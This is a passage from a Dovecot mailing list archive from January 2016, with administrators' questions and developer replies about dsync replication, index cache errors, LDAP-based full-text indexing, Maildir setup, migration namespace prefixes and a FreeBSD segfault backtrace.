= \Sent } mailbox "Sent Messages" { auto = no driver = special_use = \Sent } mailbox Trash { auto = subscribe driver = special_use = \Trash } order = 0 prefix = separator = subscriptions = yes type = private } Destination: namespace { disabled = no hidden = no ignore_on_failure = no inbox = yes list = yes location = mailbox Archive { auto = create autoexpunge = 0 comment = driver = special_use = \Archive } mailbox Archives { auto = no autoexpunge = 0 comment = driver = special_use = \Archive } mailbox Drafts { auto = subscribe autoexpunge = 0 comment = driver = special_use = \Drafts } mailbox Junk { auto = create autoexpunge = 0 comment = driver = special_use = \Junk } mailbox Sent { auto = subscribe autoexpunge = 0 comment = driver = special_use = \Sent } mailbox "Sent Messages" { auto = no autoexpunge = 0 comment = driver = special_use = \Sent } mailbox Trash { auto = subscribe autoexpunge = 0 comment = driver = special_use = \Trash } order = 0 prefix = INBOX. separator = subscriptions = yes type = private } If anyone could provide some assistance it would be greatly appreciated! Thanks, Mark From tss at iki.fi Fri Jan 29 23:40:04 2016 From: tss at iki.fi (Timo Sirainen) Date: Sat, 30 Jan 2016 01:40:04 +0200 Subject: Re-starting replication after a long disconnect In-Reply-To: <61F56648-1945-41F5-B543-59CCEDD2DA80@ucls.uchicago.edu> References: <61F56648-1945-41F5-B543-59CCEDD2DA80@ucls.uchicago.edu> Message-ID: Hi, > On 28 Jan 2016, at 19:23, John Krug wrote: > > Using Dovecot 2.2.15.8 > > We use dsync as shown at http://wiki.dovecot.org/Replication to have a second copy of our mail store. Users connect to one server and the other is considered a secondary, and is there ?just in case?. If one-way backup/sync would make more sense, I would consider that, but at the time we set it up (October 2013), I recall there was some issue with one-way not being as reliable. > > We had some problems with the secondary mail server and had to take it off line for while. Now that the mail on that server is stale, what is the best way of starting over? When I simply turned it back on after a lengthy break (weeks), some users were reporting deleted messages showing up in their inboxes. I know dsync is master/master and uses index files, but I am not certain of the details and whether this behavior is completely unexpected or not. Replication tracks deleted mails within dovecot.index.log files, which can't grow indefinitely. So eventually the old information gets lost, and dsync rather wants to not lose any information so it rather brings back older messages than wrongly deletes messages. Although it shouldn't actually be exactly that simple. I think it should only happen if the newest message(s) in the folder are deleted they could come back, but nothing deleted below the highest non-deleted messages should be coming back. If that's happening I think it's a bug. > The laundry list: > What are the f and R flags for sync? http://wiki2.dovecot.org/Tools/Doveadm/Sync -f makes sure everything is synced by opening all the folders and fetching the email UIDs. Not just looking at the number of messages and UIDNEXT and HIGHESTMODSEQ values. -R is relevant only to doveadm backup, which does the backup to the other direction (overwriting local mailbox according to remote changes). > Use doveadm backup to get the initial data over to the seconday? That would work and be the most efficient way. You could run it for all the users. Probably as easily as running on the primary server: doveadm backup -A -d -f After that replication should be working again. > Can the server be in use while I do backup? Yes, but keep the replication disabled (e.g. by disabling replication plugin). > Do I need to wipe the secondary and start over? That's another possibility, but it of course has to transfer all the data all over again. From p.heinlein at heinlein-support.de Sat Jan 30 08:04:19 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Sat, 30 Jan 2016 09:04:19 +0100 Subject: Broken MIME parts for mail Message-ID: <56AC6E83.7030409@heinlein-support.de> We're acutally using 2:2.2.21-1~auto+83 and sometimes we have in our logfiles: Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: unlink(/vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: Corrupted index cache file /vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache: Broken MIME parts for mail UID 70 The mail in this folder with uid 70 looks perfect and I'm able to fetch that mail without errors. I hope this is a self-healing error in the index file without real incident to the user. But I wonder how this Error can be happen. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From itml at ma3ki.net Sat Jan 30 17:28:49 2016 From: itml at ma3ki.net (Masaki Nemoto) Date: Sun, 31 Jan 2016 02:28:49 +0900 Subject: fts_autoindex - index-worker problem Message-ID: <56ACF2D1.10109@ma3ki.net> dovecot-2.2.21 ????? fts_autoindex - index-worker problem Hello List, I installed dovecot-2.2.21 on CentOS 6.7. I use ldap for userdb to separate an e-mail address and the user. Index to apache solr failed in fts_authindex when I received an email after setting. The error message is "indexer-worker: Error: User 0029 at 09.jp lookup failed: Unknown user" Is there any solution? This is current conf -------------------------------------------- # cat /etc/dovecot/conf.d/auth-ldap.conf.ext userdb { driver = ldap default_fields = uid=dovecot gid=dovecot home=/var/dovecot/%Ld/%Ln args = /etc/dovecot/dovecot-ldap.conf.ext } -------------------------------------------- # cat /etc/dovecot/dovecot-ldap.conf.ext hosts = ldap01 auth_bind = no ldap_version = 3 base = "" user_attrs = mailRoutingAddress=user, storeQuotaBytes=quota_rule=*:bytes=%$ user_filter = (&(objectClass=inetLocalMailRecipient)(mailLocalAddress=%u)) -------------------------------------------- # cat /etc/dovecot/conf.d/90-plugin.conf plugin { fts = solr fts_solr = url=http://10.129.78.21:8983/solr/%Ld/ fts_autoindex = yes } -------------------------------------------- This is test user infomation -------------------------------------------- # ldapsearch -h ldap01 -x -b "" mailLocalAddress=gk12k_0029 at 08wt09.jp mailRoutingAddress mailLocalAddress -LLL dn: uid=gk12k_0029,dc=08wt09,dc=jp mailRoutingAddress: 0029 at 09.jp mailLocalAddress: gk12k_0029 at 08wt09.jp -------------------------------------------- dovecot log of the problem ------------------ Jan 31 01:19:51 store01 dovecot: lmtp(24252): Connect from 10.129.75.77 Jan 31 01:19:51 store01 dovecot: lmtp(0029 at 09.jp): copy from : box=INBOX, uid=40, msgid=, size=377 Jan 31 01:19:51 store01 dovecot: lmtp(0029 at 09.jp): pdn7JafirFa8XgAAbv3f4A: from=hogehoge at example.jp, to=gk12k_0029 at 08wt09.jp, vsize=388, msgid=, saved mail to INBOX Jan 31 01:19:51 store01 dovecot: lmtp(24252): Disconnect from 10.129.75.77: Successful quit Jan 31 01:19:51 store01 dovecot: indexer-worker: Error: User 0029 at 09.jp lookup failed: Unknown user openldap log ------------------ Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=gk12k_0029 at 08wt09.jp))" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 fd=19 ACCEPT from IP=10.129.78.22:58335 (IP=0.0.0.0:389) Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=0 BIND dn="" method=128 Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=0 RESULT tag=97 err=0 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SRCH base="" scope=2 deref=0 filter="(mailRoutingAddress=0029 at 09.jp)" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SRCH attr=modifyTimestamp Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SRCH base="uid=gk12k_0029,dc=08wt09,dc=jp" scope=0 deref=0 filter="(objectClass=*)" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SRCH attr=storeSieveScript Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=2 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 op=3 UNBIND Jan 31 01:19:51 ldap01 slapd[21617]: conn=1292 fd=19 closed Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=0029 at 09.jp))" Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:19:51 ldap01 slapd[21617]: conn=1291 op=2 SEARCH RESULT tag=101 err=0 nentries=0 text= ------------------------------------------- Log when I deleted "fts_autoindex = yes" ------------------------------------------- Jan 31 01:18:12 store01 dovecot: lmtp(24232): Connect from 10.129.75.77 Jan 31 01:18:13 store01 dovecot: lmtp(0029 at 09.jp): copy from : box=INBOX, uid=39, msgid=, size=377 Jan 31 01:18:13 store01 dovecot: lmtp(0029 at 09.jp): 10FxNETirFaoXgAAbv3f4A: from=hogehoge at example.jp, to=gk12k_0029 at 08wt09.jp, vsize=388, msgid=, saved mail to INBOX Jan 31 01:18:13 store01 dovecot: lmtp(24232): Disconnect from 10.129.75.77: Successful quit ------------------------------------------- Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SRCH base="" scope=2 deref=0 filter="(&(objectClass=inetLocalMailRecipient)(mailLocalAddress=gk12k_0029 at 08wt09.jp))" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SRCH attr=mailRoutingAddress storeQuotaBytes Jan 31 01:18:12 ldap01 slapd[21617]: conn=1289 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 fd=19 ACCEPT from IP=10.129.78.22:58332 (IP=0.0.0.0:389) Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=0 BIND dn="" method=128 Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=0 RESULT tag=97 err=0 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SRCH base="" scope=2 deref=0 filter="(mailRoutingAddress=0029 at 09.jp)" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SRCH attr=modifyTimestamp Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=1 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SRCH base="uid=gk12k_0029,dc=08wt09,dc=jp" scope=0 deref=0 filter="(objectClass=*)" Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SRCH attr=storeSieveScript Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=2 SEARCH RESULT tag=101 err=0 nentries=1 text= Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 op=3 UNBIND Jan 31 01:18:12 ldap01 slapd[21617]: conn=1290 fd=19 closed ------------------------------------------- -- Masaki From john.1209 at yahoo.com Sat Jan 30 22:26:12 2016 From: john.1209 at yahoo.com (John Williams) Date: Sat, 30 Jan 2016 22:26:12 +0000 (UTC) Subject: Dovecot with Maildir References: <125518289.2866973.1454192772810.JavaMail.yahoo.ref@mail.yahoo.com> Message-ID: <125518289.2866973.1454192772810.JavaMail.yahoo@mail.yahoo.com> Folks, I'm trying to get dovecot to check a for mail in a maildir format on Ubuntu. ? Mail is being delivered to and from the system. ?I can send and receive mail using Pine & Mutt. ?But I cannot seem to get dovecot to work with the maildir. ?So I can't check for mail using Dovecot. This is what I'm using for reference: https://help.ubuntu.com/community/Dovecot I believe (not sure actually) the answer is in the mail_location variable for Dovecot. ?This is what I've tried so far: #mail_location = mbox:~/mail:INBOX=/var/mail/%u#mail_location = maildir:/var/mail/%u/Maildir#mail_location = maildir:~/Maildir:INDEX=/var/mail/%umail_location = maildir:/var/mail/%u/Maildir Mail is being delivered and I can send mail out with Postfix. ?But Dovecot not working. Any idea why? Thanks in advance! From tss at iki.fi Sat Jan 30 23:50:57 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 31 Jan 2016 01:50:57 +0200 Subject: Broken MIME parts for mail In-Reply-To: <56AC6E83.7030409@heinlein-support.de> References: <56AC6E83.7030409@heinlein-support.de> Message-ID: On 30 Jan 2016, at 10:04, Peer Heinlein wrote: > > > We're acutally using > > 2:2.2.21-1~auto+83 > > and sometimes we have in our logfiles: > > Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: > unlink(/vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache) > failed: No such file or directory (in mail-cache.c:28) > > Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: Corrupted > index cache file > /vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache: > Broken MIME parts for mail UID 70 > > The mail in this folder with uid 70 looks perfect and I'm able to fetch > that mail without errors. > > I hope this is a self-healing error in the index file without real > incident to the user. But I wonder how this Error can be happen. It means that the MIME structure was written wrong to dovecot.index.cache file. At the time it was attempted to be used, Dovecot realized that it can't be right. It's difficult to say how or why this could happen though unless there was some way to reproduce it.. Maybe if you copy the message from the user and attempt to re-deliver it to a test user's INBOX and see if you can cause it to break there? Also during the delivery Dovecot has to add "mime.parts" to dovecot.index.cache. You can force that for example by adding mail_always_cache_fields=mime.parts settings (and you can verify with "doveadm dump /path/to/dbox-Mails/dovecot.index" that it shows the mime.parts there after delivery). I think you can force Dovecot to detect the broken MIME structure by running SEARCH TEXT hello on the folder. Anyway, this is self-healing and potentially not even visible to user/client. From tss at iki.fi Sat Jan 30 23:58:48 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 31 Jan 2016 01:58:48 +0200 Subject: fts_autoindex - index-worker problem In-Reply-To: <56ACF2D1.10109@ma3ki.net> References: <56ACF2D1.10109@ma3ki.net> Message-ID: <180FFE5B-B41B-464D-8B3E-8D09119A0352@iki.fi> > On 30 Jan 2016, at 19:28, Masaki Nemoto wrote: > > dovecot-2.2.21 ????? > > fts_autoindex - index-worker problem > > Hello List, > > I installed dovecot-2.2.21 on CentOS 6.7. > > I use ldap for userdb to separate an e-mail address and the user. > Index to apache solr failed in fts_authindex when I received an email > after setting. > The error message is "indexer-worker: Error: User 0029 at 09.jp lookup > failed: Unknown user" The question is mainly if the lookup of user 0029 at 09.jp should work, or if that it the wrong user in the first place. If you want the username to be 0029 at 09.jp on Dovecot side, then this command must work: doveadm user 0029 at 09.jp > user_attrs = mailRoutingAddress=user, storeQuotaBytes=quota_rule=*:bytes=%$ So here mailRoutingAddress=user is changing Dovecot's internal username to that field's value, which causes it to send that username to indexer-worker. > # ldapsearch -h ldap01 -x -b "" mailLocalAddress=gk12k_0029 at 08wt09.jp > mailRoutingAddress mailLocalAddress -LLL > dn: uid=gk12k_0029,dc=08wt09,dc=jp > mailRoutingAddress: 0029 at 09.jp > mailLocalAddress: gk12k_0029 at 08wt09.jp Here is seems that the username should be gk12k_0029 at 08wt09.jp, not 0029 at 09.jp? So maybe you want mailLocalAddress=user? Or add mailRoutingAddress to user_filter so that lookup by 0029 at 09.jp works too. BTW. auth_debug=yes is helpful in showing in Dovecot's logs what it's doing and why it's not finding something. From tss at iki.fi Sun Jan 31 00:05:09 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 31 Jan 2016 02:05:09 +0200 Subject: dsync issues due to Prefix difference? In-Reply-To: <720942e870f0a0a762ad972d06c7e70f@koallo.com> References: <720942e870f0a0a762ad972d06c7e70f@koallo.com> Message-ID: <613815EF-A6AF-498D-9314-49243BAB13C8@iki.fi> > On 29 Jan 2016, at 23:16, Mark Little wrote: > > Hi everyone, > > I'm hoping I am just missing something obvious - but I cannot seem to get a one-way migration dsync working between two Dovecot servers because the Prefix configuration is different. I think a regular dsync -> dsync migration won't work then directly, because it assumes similar source and destination namespaces. One possibility would be that if you start dsync from the destination server, you simply point it to a configuration with a similar namespace config (via -c dovecot.conf) as the source. It should still write everything correctly so that afterwards you can run with the wanted the namespace prefix (i.e. prefix can be changed in dovecot.conf without having to modify any per-user files). Another possibility would be to do imapc sync and set imapc_prefix=INBOX. - see http://wiki2.dovecot.org/Migration/Dsync From rblayzor.bulk at inoc.net Sun Jan 31 02:47:00 2016 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Sat, 30 Jan 2016 21:47:00 -0500 Subject: Dovecot 2.2.21 - segfault Message-ID: <224D221E-9E52-4933-A820-6829502D4BDA@inoc.net> dovecot --version 2.2.21 (5345f22) FreeBSD 10.2-RELEASE-p11 FreeBSD 10.2-RELEASE-p11 #0 r294908M: amd64 Core was generated by `dovecot'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...Reading symbols from /usr/lib/debug//lib/libc.so.7.debug...done. done. Loaded symbols for /lib/libc.so.7 Reading symbols from /libexec/ld-elf.so.1...Reading symbols from /usr/lib/debug//libexec/ld-elf.so.1.debug...done. done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 635 ioloop.c: No such file or directory. in ioloop.c (gdb) bt full #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 No locals. #1 0x0000000800910961 in io_loop_timeouts_start_new (ioloop=0x801421080) at ioloop.c:436 to_idx = (struct timeout * const *) 0x801419880 #2 0x0000000800910915 in io_loop_handler_run (ioloop=0x801421080) at ioloop.c:606 No locals. #3 0x000000080091073f in io_loop_run (ioloop=0x801421080) at ioloop.c:583 No locals. #4 0x000000080086aaab in master_service_run (service=0x80141b140, callback=0) at master-service.c:640 No locals. #5 0x0000000000406509 in main (argc=3, argv=0x7fffffffb4c0) at main.c:888 set = (struct master_settings *) 0x801429110 error = 0x800caa2c3 "H\203? ]?\017\037\200" doveconf_arg = 0x0 orig_info_callback = (failure_callback_t *) 0x8008f0220 orig_debug_callback = (failure_callback_t *) 0x8008f0220 foreground = false ask_key_pass = false i = 3 c = -1 doubleopts = Current language: auto; currently minimal (gdb) From tss at iki.fi Sun Jan 31 09:26:25 2016 From: tss at iki.fi (Timo Sirainen) Date: Sun, 31 Jan 2016 11:26:25 +0200 Subject: Dovecot 2.2.21 - segfault In-Reply-To: <224D221E-9E52-4933-A820-6829502D4BDA@inoc.net> References: <224D221E-9E52-4933-A820-6829502D4BDA@inoc.net> Message-ID: On 31 Jan 2016, at 04:47, Robert Blayzor wrote: > > > dovecot --version > 2.2.21 (5345f22) > > FreeBSD 10.2-RELEASE-p11 FreeBSD 10.2-RELEASE-p11 #0 r294908M: amd64 > > > #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 > 635 ioloop.c: No such file or directory. There's no way it can crash here, unless something's badly broken. Either a buggy compiler or maybe memory corruption earlier in the process. Can you reproduce it? Can you run it via valgrind? From rblayzor.bulk at inoc.net Sun Jan 31 11:30:17 2016 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Sun, 31 Jan 2016 06:30:17 -0500 Subject: Dovecot 2.2.21 - segfault In-Reply-To: References: <224D221E-9E52-4933-A820-6829502D4BDA@inoc.net> Message-ID: On Jan 31, 2016, at 4:26 AM, Timo Sirainen wrote: > > There's no way it can crash here, unless something's badly broken. Either a buggy compiler or maybe memory corruption earlier in the process. Can you reproduce it? Can you run it via valgrind? I?ve been tracking this with an open bug in FreeBSD as well, because I felt the same way. FreeBSD team saying it looked like a program bug; hence the reason why I had to install the system libs with all debug symbols. Two things I may try depending on their feedback now is probably clang sanitizers (valgrind alternative) or maybe try compiling dovecot with GCC instead of clang and see if the problem persists. -- Robert inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP Key: 78BEDCE1 @ pgp.mit.edu